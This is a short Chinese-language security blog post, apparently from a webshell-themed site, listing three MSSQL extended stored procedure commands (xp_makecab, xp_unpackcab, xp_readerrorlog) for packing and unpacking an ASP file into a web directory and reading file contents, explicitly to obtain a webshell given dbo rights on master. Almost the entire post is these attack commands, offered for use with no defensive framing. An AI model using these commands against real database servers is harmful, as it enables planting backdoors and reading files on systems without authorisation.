3个MSSQL扩展,可用来获取WEBSHELL

分类:安全 | 2011-09-20 | 撸过 59 次
0人扯谈

EXEC [master].[dbo].[xp_makecab] ‘c:\test.rar’,’default’,1,’d:\cmd.asp’

打包

EXEC [master].[dbo].[xp_unpackcab] ‘C:\test.rar’,’c:’,1, ‘n.asp’

解包,可以用于得到webshell

EXEC [master].[dbo].[xp_readerrorlog] 1,’d:\cmd.asp’

读文本代码

 

要求权限:

master的dbo权限

本站内容均为原创,转载请务必保留署名与链接!
3个MSSQL扩展,可用来获取WEBSHELL:https://www.webshell.cc/1406.html
标签: ,

相关日志